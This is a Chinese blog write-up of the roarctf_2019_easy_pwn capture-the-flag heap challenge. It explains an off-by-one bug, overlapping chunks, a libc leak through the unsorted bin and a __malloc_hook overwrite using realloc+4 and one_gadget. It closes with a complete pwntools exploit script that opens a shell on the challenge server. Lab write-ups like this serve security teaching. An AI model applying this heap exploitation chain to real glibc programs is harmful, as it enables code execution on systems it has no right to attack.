write up -- roarctf_2019_easy_pwn

简介

该题也是buu上的题目
image
64位小端的elf程序

该题的出题人将函数名全都抹除了,所以在我们进行反编译的时候,看到的函数名都是地址名来代替的,我们得自己分析各个函数的功能,然后可以选中函数名使用n键进行修改。

分析

反编译后的main函数逻辑是这样的
image
image
可以看到这是一题标准的菜单题,接下来我们就需要分析该函数的功能来寻找程序中存在的漏洞。

create_note()函数的具体实现

image
write_note()函数的具体实现
image
这里细讲一下,该程序主要可以利用的漏洞就出现在这个函数里。

首先我们先来看get_num()函数
image
这里值得注意的是它给的参数是固定的就是1,所以这里的a1就等于1,v2[2] = _isoc99_scanf("%d", v2);这一段代码,我们的输入被赋值给v2的首地址也就是v2[0],因为v2是一个数组,而 _isoc99_scanf()函数的返回值才赋值给v[2],接下来就是对我们输入的值的判断,可以看到是规定了大小的,如果大于256或者小于0就返回10,否则就返回我们输入的值。

sub_E26()函数
image
该函数需要两个参数,第一个参数a1是原本我们申请的chunk的大小,第二个参数a2是我们刚刚输入的值的大小,如果我们输入的值a2减去chunk原本的大小等于10,那么该函数的返回值为a1+1,结合write_note()剩下的代码逻辑,我们可以实现向我们申请的chunk里写入chunk_size+1个字节,别小看这一个字节,有这一个字节,我们就可以将堆的内存结构改写掉。

分析完这些我们再来看看calloc函数

calloc函数的使用方法和功能

#include <iostream>
int main()
{
    long *newmen;
    newmen = (long *)calloc(100, sizeof(long));
    std::cout << &newmen << std::endl;
    return 0;
}

calloc函数和malloc函数类似,在ANSI之前返回指向char型的指针,在ANSI之后返回指向void型的指针。

如果我们要存储不同的类型要进行强制类型转换。

calloc()函数接收两个无符号整型的作为参数,第一个参数是存储单元的数量,第二的参数是存储单元的大小。

上述代码段的含义就是,申请100个大小为8字节(该例中的long是8字节)的空间。

除此之外calloc()函数还有一个特性,它会把申请的堆块中的所有的位置都置为0;

其实看到这里我们就可以进行攻击了,就这一字节使这个程序出现了off by one漏洞,我们可以借助该漏洞去修改size位的大小,这样就可以使得两个本来互不干扰的chunk堆块出现重叠的空间,用以我们的攻击。

攻击思路

利用off by one漏洞泄漏main_aren+88的地址,得到了main_aren的地址也就得到了malloc_hook的地址,main_aren-0x10的地址即是malloc_hook的地址,这样我们就可以得到libc的基址,就可以获得one_gadget运行到内存中的地址,然后我们将malloc_hook了指向的地方写入one_gadget,这样我们再次执行malloc函数就可以得到shell了。

内存结构

create(0x18)

create(0x10)

create(0x90)

create(0x10)

image
write(0, 34, "a"0x10+p64(0x20)+p8(0xa1))
image
write(2, 0x80, p64(0)
14+p64(0xa0)+p64(0x21))
image
delete(1)

create(0x90)

write(1, 0x20, p64(0)*2+p64(0)+p64(0xa1))
image
image
delete(2)

show(1)
因为chunk2的实际大小可写大小是0x90已经不能被算入fast bin了,所以被free后会被放进unsorted bin中,又因为此时此刻unsorted bin中只有这么一个chunk,所以其fd和bk指针都指向main_aren+88的地址,上面我们构造的重叠堆块就可以发挥其作用了,直接打印chunk1就会将main_aren+88的地址打印出来,减去88后就是main_aren的地址了,接下来就可以进行利用泄漏libc基址了。

image
使用one_gadget工具获得one_gadget,但是我依次测试没有一个能用的,这是为什么呢?因为one_gadget要想成功的执行需要满足一些条件的比如第一个one_gadget要想执行成功就需要rax为空才行,第二个one_gadget要想执行成功就需要rsp+0x30的位置为空才行。

这里的one_gadget没有一个可以使用也就代表着,这些one_gadget都没达到需求条件。

那我们要该怎么办呢,这里用到的方法是使用realloc函数,调整rsp的位置使得条件符合,也就是将realloc(这里是realloc+4,怎么能达到条件怎么写就行)写入malloc_hook中,然后将one_gadget写到realloc_hook的位置,这样我们再次调用malloc函数的时候,malloc_hook指向了realloc+4,所以执行realloc+4使得one_gadget的攻击条件达成,然后realloc函数会调用realloc_hook函数,而realloc_hook已经被我们写入了one_gadget,所以执行了one_gadget拿到了shell。
image

image

realloc+4是从push r13开始执行, 执行到mov rax, cs:__realloc_hook_ptr,将realloc_hook放入rax寄存器中,再将rax寄存器中 realloc_hook指向的值放入rax,然后经过test操作,这里的test也需要细讲一下。

test指令,执行的是按位与运算,只有两个值的当前位都不为0才是真,这里的操作是test rax, rax ,而此时rax里是有值的,我们写入的one_gadget ,所以最终按位与后得到的结果一定为真,这样的结果为真那么EFLAGS寄存器的zh标志位就会置为0,就达成了jnz指令的跳转条件,就会跳转到00000000000848E8这个地址,可以看到,最终会调用rax里的函数,也就是会调用one_gadget,拿到shell。

exp

from* pwn *import**

context.arch = "amd64"

context.log_level = "debug"

*#io = process("./roarctf_2019_easy_pwn")*

io = remote("node4.buuoj.cn", 29153)

elf = ELF("./roarctf_2019_easy_pwn")

libc = ELF("libc-2.23.so")

def create(size):

  io.recvuntil("choice: ")

  io.sendline("1")

  io.recvuntil("size: ")

  io.sendline(str(size))


def write(index, size, content):

  io.recvuntil("choice: ")

  io.sendline("2")

  io.recvuntil("index: ")

  io.sendline(str(index))

  io.recvuntil("size: ")

  io.sendline(str(size))

  io.recvuntil("content: ")

  io.send(content)


def show(index):

  io.recvuntil("choice: ")

  io.sendline("4")

  io.recvuntil("index: ")

  io.sendline(str(index))


def delete(index):

  io.recvuntil("choice: ")

  io.sendline("3")

  io.recvuntil("index: ")

  io.sendline(str(index))

create(0x18)

create(0x10)

create(0x90)

create(0x10)

write(0, 34, "a"*0x10+p64(0x20)+p8(0xa1))

write(2, 0x80, p64(0)*14+p64(0xa0)+p64(0x21))

delete(1)

create(0x90)

write(1, 0x20, p64(0)*2+p64(0)+p64(0xa1))

delete(2)

show(1)


io.recvuntil("content: ")

io.recv(0x20)

main_aren = u64(io.recv(6).ljust(8, "\x00"))-88

malloc_hook = main_aren-0x10

libc_base = malloc_hook-libc.symbols["__malloc_hook"]

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

create(0x80)

write(1, 0x90, p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

delete(2)

write(1, 0x30, p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook-0x23)*2)

create(0x60)

create(0x60)


realloc_hook = libc.symbols["realloc"]

write(4, 27, 'a'*11+p64(libc_base +

   one_gadgets[3])+p64(libc_base+realloc_hook+4))

create(0x60)
io.interactive()
posted @ 2021-10-30 21:35  Sentry_Prisoner  阅读(184)  评论(0编辑  收藏  举报